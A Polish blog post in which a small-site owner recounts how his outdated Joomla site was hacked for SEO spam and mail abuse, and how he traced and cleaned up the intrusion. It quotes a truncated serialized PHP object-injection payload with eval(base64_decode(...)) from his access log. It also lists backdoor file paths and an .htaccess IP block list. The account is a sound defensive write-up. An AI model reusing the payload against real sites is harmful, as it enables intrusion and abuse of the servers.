Atak hakerów na Mielecin.pl

Strona Mielecin.pl została shakowana!

Jak niektórzy wiedzą, a inni teraz się dowiedzą, od jesieni 2015 roku nie mieszkam w Mielęcinie, przeto i nowe artykuły i zdjęcia na witrynie Mielecin.pl przestały się ukazywać z rozsądną częstotliwością.
Raz - że pracy przez ostatni rok z okładem było w bród i ciut ciut, w efekcie czego nie stajało już ani ochoty, ani weny na tworzenie nowych wpisów.
Dwa - do Mielęcina praktycznie nie zaglądam, a jeżeli już, to na dzień, czasem dwa, wobec czego nie mam dostępu do żadnych ciekawych wiadomości, nie jeżdżę już na wycieczki po wsi i okolicach, nie robię zdjęć - czyli po prostu brakuje materiałów do publikacji.
Trzy - witryny internetowej nie trzeba doglądać, jak mieszkania, wystarczy opłacać domenę i hosting i będzie ona sobie stać na baczność cały czas.

Czy aby na pewno? Tak sobie witrynka będzie stać i stać?

Tak sobie myślałem aż do końcówki listopada 2016, kiedy to wiadomość od pewnej znajomej postawiła mnie na baczność - podobno mielecin.pl nie działa.
Dzień wcześniej zaglądałem na stronę, by pobrać sobie zarchiwizowane tamże jakieś stare zdjęcie, więc pomyślałem jak typowy informatyk w serwisie:

“Dziwne, a u mnie wczoraj działała…”.

Na wstępie uprzedzę wszystkich czytelników, że nie jestem zawodowcem - nie mam wykształcenia informatycznego, a cała moja wiedza tutaj opisana wynika z wieloletniej, hobbistycznej praktyki, toteż gdzieniegdzie może mi się zdarzyć palnięcie bzdury patrząc oczami profesjonalnych administratorów - w większości przypadków będzie to świadome uproszczenie skomplikowanego zjawiska - wszak artykuł ten jest moim pamiętnikiem z przygód z hakerami i przeznaczony jest dla ludzi nieco mniej doświadczonych ode mnie. Mam nadzieję, że stanowić będzie maksymalnie prosty i jasny poradnik jak na miarę naszych możliwości (w domyśle: klikaniem i za darmo) zabezpieczyć się przed przejęciem przez hakerów witryny opartej na Joomla.

Możesz już teraz przejść do konkretnych porad, ale dla pełnego zrozumienia ich znaczenia (co, jak i dlaczego) zachęcam do przeczytania całości moich przygód z atakiem na mielecin.pl.

Po tym przydługim wtręcie wróćmy do wydarzeń tamtego interesującego dnia.

Myślę sobie, że "no cóż, trzeba sprawdzić co się dzieje, pewnie znowu awaria serwera, co ma się prawo kilka razy w ciągu roku na kilka godzin zdarzyć i co już parę razy miało miejsce odkąd istnieje mielecin.pl. To na pewno nic poważnego, wejdę na stronę tylko po to, aby zorientować się kiedy witryna znów będzie działać."

Wchodzę zatem na www.mielecin.pl - i co widzę:

  • domena działa,
  • DNS działa,
  • serwer działa, ale zwraca pustą stronę.

Ciekawe, ale nic nadzwyczajnego - chyba raz coś takiego widziałem kiedy poprawnie nie działał serwerowy interpreter PHP. No ale dla spokojności zajrzę sobie jeszcze bezpośrednio na serwer przez panel administracyjny sprawdzić czy pliki są na miejscu i czy ogólnie hosting działa.

No więc wchodzę, patrzę - wszystko działa, wszystko jest. Hmmm… Czyli moja diagnoza się potwierdza - chyba interpreter PHP siadł. Zresetuję go sobie poprzez zmianę wersji na wyższą, stronie to nie zaszkodzi, a ja będę wiedział czy tu jest problem, czy gdzie indziej.

No i zonk - interpreter zmieniony, strona nadal nie działa! Hmmm… Gapiąc się na listę plików w katalogu głównym łapię na moment mentalny zwis i… nagle dostrzegam, że sitemap.xml dziwnie spuchnięty! Rozmiar blisko 3 MB, a powinien mieć najwyżej 2-3 KB - tysiąc razy mniej! Co jest do diaska? O! I datę ma wczorajszą!
Podejrzaną datę łatwo zauważyć, bo reszta plików w głównym katalogu ma jedną i taką samą datę utworzenia, więc jeżeli tutaj coś jest zmienione, to widać od razu, jak lodowego szejka z Mejk Dónalda na pustyni.
Sitemap.xml - plik zawierający mapę witryny - nie generuje się automatycznie. Tworzy się go ręcznie - t.j. można wykorzystać jakiś skrypt, ale później trzeba ten plik wgrać na serwer. Ja go wgrywałem jakoś tak we wrześniu 2015 po przebudowaniu witryny ze starej Joomli na nową, responsywną (do czego zmusiło mnie Google strasząc banem w swojej wyszukiwarce jeżeli tego niezwłocznie nie zrobię).
I z taką datą - ubiegłoroczną - winien figurować na serwerze. Tymczasem widnieje listopad 2016, z wczoraj. Hmm...

Patrzę na index.php - data wczorajsza.

Patrzę na .htaccess - data wczorajsza.

I już wszystko jasne! Jakaś hakerska menda włamała się i postanowiła wysyłać spam z adresu mielecin.pl, ale coś nie pykło w zmienionych przez mendę plikach. Skąd taki wniosek? A z doświadczenia - pół roku wcześniej przerabiałem identyczny scenariusz w przypadku innej witryny, którą administruję.

Uradowany z odkrycia przyczyn awarii i będąc przekonanym o prostocie naprawy postanowiłem przyjrzeć się - ot tak, z ciekawości - cóż ten straszny haker porobił na mojej witrynie i może dojść w jaki sposób się włamał. Szkód żadnych nie wyrządził - dopisał jedynie kilka linijek w index.php i .htaccess i wgrał fałszywy sitemap.xml

Wiedząc już w czym rzecz mapę witryny od razu wywalam, by zminimalizować ryzyko zaindeksowania tysięcy spamerskich linków przez wyszukiwarki.

O co chodzi z tymi fałszywymi linkami w sitemap.xml?

Ano, tak w uproszczeniu - wyszukiwarka (czyli np. Google, Yahoo, Baidu, Yandex, Bing, itp.) w pliku sitemap.xml dostaje gotową mapę witryny, w założeniu ma usprawnić indeksowanie jej zawartości. Z pomocą pewnych zmian w .htaccess oraz w index.php nie ma żadnego problemu w tym, że wszystkie linki są de facto fikcyjne, bowiem nie pochodząc z mojej witryny kierują do niej, a witryna od razu przekierowuje na właściwą stronę w - w moim przypadku - Japonii. Dzięki temu dany Japończyk szukający w Internecie taniej Viagry czy drogiego, tuningowanego wydechu do swojego subaru widzi w wynikach Google link rzekomo z naszej domeny (zaczerpnięty z sitemap.xml) i nie budzący żadnych podejrzeń. A przy okazji Google widzi, że moja witryna (i wszystkie inne, które przejął haker) wspiera witrynę sklepu linkując do niego, przez co jego pozycja w wyszukiwarce teoretycznie będzie wyższa.

Przypomina to nieco powszechne praktyki nieuczciwych taksówkarzy - otóż kiedy w wielkim mieście wsiądę w nocy do taksówki i poproszę o podwiezienie do najbliższego lokalu, w którym można potańczyć, to nieuczciwy kierowca pojedzie naokoło robiąc dodatkowe kilometry i wysadzi mnie nie przy najbliższej dyskotece, ale przy tej, której właściciel odpala mu procent od każdego przywiezionego klienta. Tak właśnie działa haker (kierowca) i przejęta przez niego witryna (samochód).

Oczywiście nikomu w obu przypadkach nie dzieje się żadna poważna krzywda, a chodzi tu jedynie o pieniądze - zarabia na takiej praktyce haker i sklep internetowy.

Wracając do tematu podjętych działań - przejrzałem zmiany w .htaccess i index.php, usunąłem dodane przez hakera pozycje i co teraz? Jak się ustrzec przed kolejnym, podobnym włamaniem? Najpierw trzeba sprawdzić jak się haker dostał na witrynę.

Na serwerze w katalogu domeny (stopień powyżej katalogu z witryną) znajduje się katalog z logami, u mnie i zapewne u 99,9999999% pozostałych webmasterów na świecie nazywa się on… logs. Ta dam! He, he ;-)

Ponieważ wiadomo, że włamanie najpewniej nastąpiło wczoraj, pobieram sobie plik z logami z dnia wczorajszego, wypakowuję zawartość i zaczynam analizę wywołań.

Nawiasem mówiąc z całego serca polecam do analizy logów serwera program Notepad++ - szalenie przydatny, genialny wręcz, bardzo wszechstronny edytor tekstu dla każdego komputerowca od poziomu średniozaawansowanego wzwyż. Średniozaawansowanemu tak, no bo amatorowi potrafiącemu jedynie uruchomić komputer i zainstalować CS:GO niby do czego może się przydać? ;-)

Na co zwrócić uwagę w logach poszukując śladów włamania?

Na witrynę zbudowaną na Joomli włamać się można na 2 sposoby:

  1. rozpracowując dane logowania (do panelu administracyjnego CMS lub serwera), albo
  2. wysyłając specjalnie spreparowany odnośnik do witryny, który wykorzystuje jakąś lukę w zabezpieczeniach i powoduje, że wysyłający go w efekcie uzyskuje dostęp do określonego katalogu serwera czy do zaplecza witryny, co już pozwala mu wgrać na serwer (np. do folderu images) specjalny skrypt, który po bezpośrednim wywołaniu w oknie przeglądarki daje już pełną kontrolę nad zawartością serwera.

Pierwsza metoda jest bardzo długotrwała (choć to zależy już głównie od użytkownika i złożoności jego hasła) i nie gwarantuje sukcesu. Na pierwszy ogień hakerzy próbują logowań na standardowych danych, czyli z użytkownikiem admin, administrator i z najczęstszymi hasłami. W logach taka aktywność zarejestrowana jest jako wielokrotne wywoływanie katalogu "/administrator/" - od kilku do wielu tysięcy prób z rzędu, z jednego lub kilku numerów IP.

Jeżeli jako użytkownik Joomla logujesz się z inną, niż admin lub administrator nazwą oraz hasłem, do złamania którego potrzeba chociaż 5 mln lat wg witryny http://www.goodpassword.info, to masz praktycznie 100% pewności, że metodą bruteforce (czyli zgadując) za twojego życia nikt się na twoją witrynę nie włamie. Jedynie po przechwyceniu twoich danych pojawi się taka możliwość.

A jak haker może przechwycić twoje hasło i login? Na pierwszym miejscu odradzam korzystanie z publicznych i niezabezpieczonych sieci przy logowaniu się do panelu witryny.
Przede wszystkim jednak musisz zadbać o bezpieczeństwo komputera, z którego się logujesz. Dobry program antywirusowy to minimum. Pomyśl - jeżeli masz w systemie wirusa, który np. kradnie loginy i hasła wpisywane w przeglądarce, to już rozumiesz, że nawet najbardziej skomplikowanie hasło możesz sobie równie dobrze wydrukować na 5-metrowym banerze i powiesić na płocie przed domem.

Druga metoda jest z kolei w 100% skuteczna - ale pod warunkiem: używasz nie zaktualizowanej, podatnej na dany rodzaj ataku wersji Joomli, zazwyczaj jest to wersja inna, niż najnowsza. Dlatego chcąc się czuć bezpiecznie musisz pamiętać, aby natychmiast zaktualizować swoją Joomlę do najnowszej dostępnej wersji (tak, natychmiast - nie jutro, nie za tydzień, lecz już, teraz). W przeciwnym wypadku nie masz szans, a włamanie jest tylko kwestią czasu...

Dlaczego to tylko kwestia czasu?

Otóż hakerzy codziennie skanują witryny w poszukiwaniu Joomli w wersji, do której posiadają gotowy hack (nazwijmy tak umownie gotową metodę i potrzebne skrypty). I kiedy taką witrynę znajdą, wchodzą na twój serwer jak ciepły nóż w masło... Jedynym pocieszeniem może być fakt, że tylko maleńki odsetek z tych ludzi ma niszczycielskie zapędy - zdecydowana większość stara się nie zrobić twojej witrynie żadnej fizycznej krzywdy, a wręcz pozostać jak najdłużej niewykrytymi - zależy im tylko na wywiązaniu się z zamówienia na budowę bazy spam-linków i ewentualnie wysłaniu paru tysięcy e-maili ze spamem posługując się twoim serwerem - po prostu na zarobieniu $$$. Uszkadzając twoją witrynę zarzynają swoje źródło dochodu - proste!

W przypadku witryny mielecin.pl haker dodał wpisy w .htaccess i index.php z błędami, przez co mielecin.pl wyglądała jakby miała awarię. I bardzo dobrze, bo gdyby nie te błędy, to dopiero po kilku tygodniach dowiedziałbym się od Google, że na mojej witrynie wykryto podejrzaną aktywność...

Skoro już wiemy czego szukać (logowanie do panelu albo dziwne odnośniki przesyłane do witryny) rozpoczynamy badanie logu. Jest to zwykły plik tekstowy z rozszerzeniem .log - u mnie nosi nazwę mielecin.pl.log, spakowany jest w pliku data.tar.gz razem z logiem błedów (mielecin.pl.error.log). Ten drugi plik przydaje się do śledzenia skuteczności niektórych zabezpieczeń.

Szukając śladów włamania zauważyłem, że w tym samym dniu było kilka prób logowania do panelu administracyjnego Joomli.

Zrzut ilustracyjny z innego dnia.

Pogrzebałem w starszych logach i okazało się, że takie próby były przeprowadzane praktycznie codziennie mniej więcej od sierpnia 2016. Choć logi wskazywały, że nie było udanych logowań, postanowiłem profilaktycznie zmienić hasło do Joomli oraz do panelu administracyjnego serwera - wybrałem hasło podobne, nieco zmodyfikowane względem poprzednio używanego, ale takie, abym był je w stanie zapamiętać.

Czyli już wiadomo, że nie udało się hakerowi złamać hasła. No to szukamy dziwnie wyglądającego wywołania. Sprawa o tyle dla mnie oczywista, że Joomli nie aktualizowałem od dawien dawna, bo… nie chciało mi się. Musiałbym po czymś takim znów przerabiać CSS’y, i niektóre pliki samej Joomli, które dostosowałem ręcznie pod siebie…Oj tam, no wiem że głupi wtedy byłem…

Przewijając log natrafiłem na dziwnie długie wywołanie. Zaczynało się tak:

 

 Zrzut ilustracyjny z innego dnia.

Rozwinięcie wywołania z włączonym zawijaniem wierszy daje takie cudeńko:

__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\
"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\
":0:{}s:8:\"feed_url\";s:3670:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh
4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2
gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQV

(...) - ciach, ciach, ciach - usunięto ze 30 linijek - (...)

hwWW5KaGNtbGxjeTlxYjI5dGJHRXZhbTFoYVd3dWNHaHdQM1VpSUM0Z0lseHlYRzRpSUM0Z2NHaHdYM1Z1WVcxbEtDa2dMaUFpWEhKY2JpSTdEUW9rY
zJWdWRHMWhhV3dnUFNCQWJXRnBiQ2drZEc5NkxDQWtjM1ZpYW1WamRDd2dKRzFsYzNOaFoyVXNJQ1JvWldGa1pYSXBPdzBLRFFwQWRXNXNhVzVyS0Y5
ZlJrbE1SVjlmS1RzTkNnMEtEUW8vUGc9PScpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\
"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}
i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"

Hmmm… takie słówka, jak serwer, script, base64_decode od razu wszystko mi tłumaczą. Czytelnikowi, któremu nic to nie mówi wyjaśnię wszystko w dalszej części pamiętnika. No w każdym razie mam tu dowód, że

oto witryna mielecin.pl padła ofiarą hakera,

ponieważ z powodu mojego lenistwa i lekceważenia problemu bezpieczeństwa witryny (a ktoś się ma włamać? a po co?) nie była zaktualizowana i przez to podatna na taki atak! Poszukałem w sieci jakichś informacji o słabościach mojej wersji Joomli - no i oczywiście znalazłem dokładnie to, co podejrzewałem.

Kiedy już skończyłem sobie pluć w brodę i otarłem ją ze śliny, zabrałem się za aktualizację Joomli.
No trudno, w sumie nic się nie stało, co najwyżej Google będzie mi czasem jęczeć, że wykrył dużą liczbę nieistniejących linków, a po roku czy dwóch może usunie je ze swojego indeksu.

Zadowolony z zabezpieczenia witryny i pokrzyżowania planów hakerowi poszedłem spać… 

I tutaj powinien nastąpić wielki The End. Ale nie nastąpi. Bo to był dopiero początek wszystkich późniejszych wydarzeń! Cholera! Ile ja bym czasu i nerwów sobie zaoszczędził, gdybym jeszcze tego samego dnia zdekodował to, co zaszyfrowane algorytmem Base64 było w zacytowanym wyżej wywołaniu z logu... Ale nie zainteresowało mnie to, bo byłem przekonany o odparciu ataku hakera i swoim całkowitym zwycięstwie.

 

 *

Nazajutrz po południu odpalam sobie pocztę, a tam… A tam coś, co mnie zwaliło początkowo z fotela - e-mail od Google o temacie: “Nowy właściciel witryny http://www.mielecin.pl/”

Co jest, q-rrrrrrvaa!? Łot de fakin mać!?

Czytam i nie wierzę - “Wykryliśmy, że użytkownik Ten adres pocztowy jest chroniony przed spamowaniem. Aby go zobaczyć, konieczne jest włączenie w przeglądarce obsługi JavaScript. został dodany jako właściciel witryny http://www.mielecin.pl/”. Co to za jełop? Kto go dodał? I jak to się stało, że nic o tym nie wiem? Szok i niedowierzanie. Nie wiem jak z tym żyć ;-)

Nic z tego nie rozumiałem, więc na początek zalogowałem się do panelu domeny (hostuję się w Home.pl), ale tutaj nic się nie zmieniło - dalej jestem właścicielem Mielecin.pl i nie ma nikogo więcej w żadnej rubryce… No to gdzie jest ten nowy właściciel ukryty?

Po chwili dopiero ochłonąłem i ogarnąłem, że sam jestem jełop - przecież to Google do mnie pisało przez Search Console! Gdybym nie spanikował początkowo, to przeczytałbym w dalszej części e-maila, że Właściciele w Search Console mają prawo zmieniać najważniejsze ustawienia, które wpływają na interakcje wyszukiwarki Google z Twoją usługą (...)”. A obok wielki niebieski przycisk z napisem “Zarządzaj użytkownikami”...

Q-rrrrwa, co za debil ze mnie… No cóż, wbijam się do panelu Konsoli Wyszukiwania w Google i faktycznie - jest tam drugi właściciel. Ale kurde w jaki sposób ktoś się włamał na moje konto w Google? Widzę, że to jakiś zmasowany atak na mnie - wczoraj witryna, dziś konto Google i znów ktoś chce coś od mojej witryny! Próby włamania w związku z publikacją kilka lat temu moich pamiętników z pracy w Zamku Tuczno podejmowali zupełni amatorzy, których umiejętności tylko nieznacznie przekraczały zdolność samodzielnej instalacji CounterStrike. Czyżby po latach wzbogaceni o nową wiedzę postanowili spróbować jeszcze raz? Hmmm....

No nic, zaraz pozmieniam sobie hasła, zobaczę tylko czy wszystko w porządku z mielecin.pl...

Po zalogowaniu do serwera w oczy od razu rzucił się drugi plik html wygenerowany przez Google (nazwa to google[16_cyfr_hex].html) jako poświadczenie posiadania danej witryny przy jej zgłaszaniu w konsoli wyszukiwania. Data dzisiejsza.

O co tutaj chodzi? Proste. Haker założył sobie konto w Google po to, by móc korzystać z Konsoli Wyszukiwania, która daje bardzo duże możliwości kontroli samej wyszukiwarki. W tym przypadku chodziło o to, aby zaraz po wgraniu fałszywego pliku sitemap.xml nakazać Google natychmiastowe indeksowanie witryny wraz ze wszystkimi fałszywymi odnośnikami. Bot Google odwiedza witryny od czasu do czasu, zwykle raz dziennie, często co kilka dni, można to też dokładnie zdefiniować w sitemap.xml. Mając dostęp do Konsoli Wyszukiwania można zmusić Google, aby zindeksowało witrynę już teraz, natychmiast po kliknięciu przycisku będącego po prostu rozkazem "Indeksuj".

No dobra, a jakie są daty wczoraj modyfikowanego .htaccess i index.php? Nie zdziwiło mnie, że dzisiejsze. Sprawdzam dla "spokojności" zawartość tych plików. Oczywiście, wszystko to, co wczoraj usunąłem, znów się pojawiło. Niestety, nie zachowała się do dnia pisania tego pamiętnika żadna wersja wspomnianych plików po hakerskich zmianach, stąd brak tutaj ilustracji w postaci zrzutu czy fragmentu treści.

No to wszystko jasne. Nikt się nie wbił na moje konto Google, a jedynie znowu jakiś haker wykorzystał moją Joomlę do spamowania… Ja pitolę, i co teraz? No bo przecież:

  • zaktualizowałem Joomlę do najnowszej wersji
  • zmieniłem hasło do panelu administracyjnego
  • poczułem się bezpiecznie, bo nic więcej natenczas w kwestii bezpieczeństwa nie uznawałem za stosowne zrobić.

Teraz przyszło mi do głowy, aby:

  • sprawdzić czy korzystając ze słabości poprzedniej wersji Joomli haker nie dodał siebie przypadkiem do grona administratorów witryny
  • założyć hasło na katalog /administrator/.

To chyba ostatnie możliwości obrony, o jakich pomyślałem - zanim trzeba będzie witrynę skasować i stawiać od nowa… Tylko po co stawiać skoro taki sobie pierwszy lepszy haker może w każdej chwili na nią wejść? Może innego CMS’a wgrać? No ale bardzo lubię Joomlę, jestem do niej przyzwyczajony, używam od wielu lat, szkoda będzie ją porzucać… A jaki wówczas CMS wybrać? W logach widziałem, że hakerzy skanują mój serwer w poszukiwaniu instalacji Word Pressa, Drupala i innych. Jak coś znajdą, to znowu się włamią. Błędne koło… Chyba po prostu zrenderuję wszystkie strony do prostego HTML i następne artykuły będę tworzyć na ich podstawie. No ale jeżeli wtedy stracę opcję responsywności witryny, to mnie Google zacznie tępić. Jeszcze błędniejsze to koło…

Cóż, zrobiłem to samo, co poprzednio, czyli:

  • wywaliłem w kosmos ponownie wgrany sfałszowany sitemap.xml
  • wyczyściłem dodane przez hakera wpisy w .htaccess i index.php

a ponadto:

  • założyłem hasło na dostęp do systemowego katalogu Joomli /administrator/
  • usunąłem z panelu administracyjnego Joomli trzech prawdopodobnie dodanych przez tego samego hakera użytkowników na prawach administratora. Przy okazji sprawdziłem który kiedy się logował - nigdy żaden. Ale w bazie figurowali. I jakoś nie zdziwiło mnie, że istnieli...

Po tych wszystkich działaniach witryna mielecin.pl na mój gust znowu była bezpieczna, choć… Przeczuwałem, że to jeszcze nie koniec. Wszak tak, jak nie ma hasła nie do złamania, tak samo nie ma witryny odpornej na ataki hakerów. Jeżeli znajdzie się na ich celowniku, to tylko kwestia czasu nim nastąpi włamanie. I wcale nie pociesza mnie fakt, że w tym roku na tym polu razem ze mną polegli tacy giganci, jak Yahoo, Bank Rosji, LinkedIn, Twitter, Netflix, Spotify czy Netia. Nurtowało i nurtuje mnie do dziś tylko jedna sprawa - dlaczego moja witryna znalazła się na celowniku? Jest malutka i znana co najwyżej kilkuset osobom na całym świecie. Echh…

*

Następnego dnia w pracy wszedłem sobie kontrolnie na serwer. Wszystko w porządku, pliki nie ruszane. Czyżby problem rozwiązało hasło na dostęp do katalogu /administrator/? Rzeczywiście, było kilka prób wejścia, wszystkie zakończone porażką, za wyjątkiem jednego - mojego logowania. Dobrze jest. Postanowiłem jeszcze przez kilka dni przeglądać logi i od tej pory aktualizować Joomlę natychmiast po wyjściu nowszej wersji.

Kolejnego dnia dostaję wieczorem taką oto wiadomość od administratora serwerowni:

“Witam,

Otrzymaliśmy zgłoszenie wysyłki spamu z konta (...). Wysłane zostało ponad 4000 e-maili.
Lista zainfekowanych plików które wykrył nasz antywirus:

(...)components/com_users/views/reset/inc99.php
(...)/components/com_users/SysManager.php
(...)/plugins/content/pagenavigation/help.php
(...)/templates/beez3/html/mod_languages/start.php
(...)/media/plg_quickicon_extensionupdate/sql.php
(...)/libraries/legacy/database/exception.php
(...)/administrator/components/com_modules/layouts/info99.php
(...)/administrator/components/com_modules/info.php

Domeny

- mielecin.pl

zostały zablokowane do czasu usunięcia infekcji i zabezpieczenia skryptów.”

Opadła mi zarówno szczęka, jak i ręce. Witryna została zablokowana - spoko, świetnie, niech tak będzie, bo ja już nie mam siły ani pomysłów. Poczekam sobie aż wyjdzie nowa wersja Joomli, może będzie odporna na takie właśnie włamania, jakich doświadczam od paru dni…

Yyy…

Chwilunia. Te pliki zainfekowane. Co to jest? Yyy… No tak, dziwna zawartość. Poszyfrowana, obfuskowana. Mimo, że ich nazwy brzmią bardzo poważnie, systemowo, nie wzbudzając podejrzeń na pierwszy rzut oka, to jednak nie są plikami pochodzącymi z instalacji Joomli. Już na wstępie wskazują na to daty ich utworzenia kilka dni wcześniej, przed aktualizacją CMSu...

I w końcu dopadło mnie olśnienie, tudzież włączyło mi się logiczne rozumowanie, tudzież posiadłem w końcu pełną wiedzę o ataku, jaki spotkał mielecin.pl. Teraz już wszystko jest jasne.

Wszystkie te pliki, jakie wykrył antywirus na serwerze, to skrypty wgrane przy pierwszym włamaniu, backdoory (tylne furtki) i różne funkcyjne - menadżer plików, program pocztowy, narzędzie do zmiany parametrów pracy serwera, różne inne narzędzia - zarówno kreatywne, jak i niszczycielskie...

Mam już tylko jedno pytanie - dlaczego serwerowy antywirus nie wykrył ich od razu jak tylko zostały wgrane, lecz dopiero po kilku dniach - gdy z ich użyciem haker wysłał gdzieś ponad 4000 e-mail korzystając z serwera mielecin.pl???

Co więcej, tamtejszy antywirus nie wykrył ich we wszystkich lokalizacjach - przeglądałem później wszystkie katalogi po kolei i znalazłem jeszcze kilka innych miejsc, gdzie były umieszczone skrypty pochodzące z zasobów hakera.

Ech… Komputery i hakerzy...

Plan naprawczy

No dobra, już jest dobrze skoro wiadomo co się tak naprawdę dzieje.

Witrynę postanowiłem pozostawić wyłączoną przez następne kilka tygodni. Po pierwsze to będąc w pracy nie miałem za bardzo czasu ani ochoty na jej odtworzenie - zaplanowałem sobie bowiem postawienie świeżutkiej instalacji Joomli i jedynie podpięcie starej bazy danych, by nie dać szans ani jednemu backdoorowi na przypadkowe przetrwanie.
Po drugie dłuższa przerwa powinna zniechęcić włamywaczy do kolejnych prób przejęcia mielecin.pl.

Przez kolejne 3 tygodnie jedynie monitorowałem logi. Jak się nietrudno domyślić, hakerzy intensywnie próbowali uzyskać dostęp do wyżej wymienionych plików - codziennie po 2 - 4 razy przez mniej więcej 10 dni.

[Thu Dec 01 02:56:59 2016] [error] [client 195.128.174.136] File does not exist: (...)
     http://mielecin.pl/components/com_users/views/reset/inc99.php

[Thu Dec 01 02:57:34 2016] [error] [client 208.52.168.75] File does not exist: (...)
     http://mielecin.pl/media/editors/codemirror/proxy82.php

[Thu Dec 01 02:57:52 2016] [error] [client 173.201.196.172] File does not exist: (...)
     http://mielecin.pl/templates/protostar/offline.php

[Thu Dec 01 02:58:09 2016] [error] [client 52.10.184.250] File does not exist: (...)
     http://mielecin.pl/plugins/user/profile/fields/dob.php

[Thu Dec 01 02:58:26 2016] [error] [client 50.62.177.221] File does not exist: (...)
     http://mielecin.pl/plugins/content/pagenavigation/help.php

[Thu Dec 01 02:58:42 2016] [error] [client 50.62.177.41] File does not exist: (...)
     http://mielecin.pl/libraries/legacy/database/exception.php

[Thu Dec 01 02:58:58 2016] [error] [client 176.74.183.183] File does not exist: (...)
     http://mielecin.pl/components/com_tags/views/tags/view.html.php

[Thu Dec 01 02:59:22 2016] [error] [client 68.178.254.188] File does not exist: (...)
     http://mielecin.pl/media/plg_quickicon_extensionupdate/sql.php

[Thu Dec 01 02:59:31 2016] [error] [client 173.201.196.112] File does not exist: (...)
     http://mielecin.pl/components/com_users/SysManager.php

Fragment autentycznego logu błędów z czasów ataku na witrynę mielecin.pl

Aż któregoś dnia skończyły się nagle, jak nożem ucięte, i do dzisiaj nie powtórzyły. Za to do dziś z jednego adresu IP mam próby wejścia do panelu administracyjnego, czasem 2, czasem 5 na dobę, najczęściej 3 - 4.

W logach błędów próby złamania hasła wyglądają następująco:

[Sat Dec 24 07:11:46 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 07:11:47 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 07:11:47 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 16:47:24 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://mielecin.pl/administrator/index.php
[Sat Dec 24 16:47:26 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://mielecin.pl/administrator/index.php
[Sat Dec 24 18:35:09 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 18:35:10 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 18:35:10 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sat Dec 24 21:28:21 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://mielecin.pl/administrator/index.php
[Sat Dec 24 23:16:05 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://www.mielecin.pl/administrator/index.php
[Sun Dec 25 02:07:13 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://mielecin.pl/administrator/index.php
[Sun Dec 25 02:07:14 2016] [error] [client 193.201.224.223]
     client denied by server configuration: (...) http://mielecin.pl/administrator/index.php

IP jest stały, więc w którymś momencie postanowiłem nie dawać absolutnie żadnej szansy włamywaczowi i zablokowałem mu dostęp całkowicie dodając stosowny wpis w pliku .htaccess. Stąd też próby zalogowania się tego hakera są dokładnie odnotowane w error logu. 

.htaccess to bardzo przydatny pliczek w konfiguracji serwerów - pozwala na dokładne opisanie jak ma działać witryna, począwszy od kontroli dostępu do niej po translację adresów na bardziej przyjazną dla wyszukiwarek. Moim prywatnym zdaniem składnia poleceń tego pliku jest dosyć trudna, nic dziwnego, że i haker się na nich wyłożył wpisując błędną konfigurację, przez co mielecin.pl w ogóle przestała działać.

Dla naszych - użytkowników Joomli - zastosowań w kwestii zabezpieczenia witryny przed włamaniem przydatne będą 2 możliwości konfiguracyjne - ustawienie hasła do poszczególnych katalogów na serwerze oraz blokowanie dostępu wg numerów IP.

Ponieważ hasła ustawiać można poprzez menadżera plików serwera praktycznie u każdego dostawcy, wszystkie niezbędne wpisy do .htaccess i .htpasswd wstawiane są automatycznie i możemy sobie ten temat teraz odpuścić.

Załóżmy, że z jednego czy kilku numerów IP codziennie ktoś próbuje zalogować się do zaplecza naszej witryny, jak to miało miejsce w przypadku mielecin.pl. Można takiego delikwenta zablokować właśnie po numerze IP. Przykładowy fragment mojego .htaccess w katalogu głównym:

(...)

order allow,deny
deny from 193.201.224.223
deny from 212.227.11.117
allow from all

(...)

Jak widać blokowanie IP jest banalnie proste - po jego ustaleniu (widoczny jest w logach) dodajemy wpis "deny from NR_IP" i to wszystko. Numer IP może może zawierać gwiazdki, dzięki czemu możmy blokować całe sieci, określone domeny, a nawet całe kraje, np. podając 193.*.*.* zablokujemy wejścia na naszą witrynę z tej części Ukrainy, do której przypisane jest ten zakres IP.

W ten sposób można zablokować dostęp albo do wybranych katalogów, albo do całej witryny. Należy tutaj tylko pamiętać, aby - mówiąc po chłopsku - "aktywować" funkcję poprzez rozpoczęcie bloku blokad od "order allow,deny" i zakończenie słowami "allow from all".

 

*

19 i 20. grudnia znalazłem czas i postawiłem witrynę tak, jak to sobie wykombinowałem oraz zastosowałem dodatkowe zabezpieczenia przed włamaniami.

Dzięki temu możesz teraz czytać ten artykuł, drogi użytkowniku.

 


 

SCHEMAT PRZEBIEGU WŁAMAŃ DO JOOMLI

 

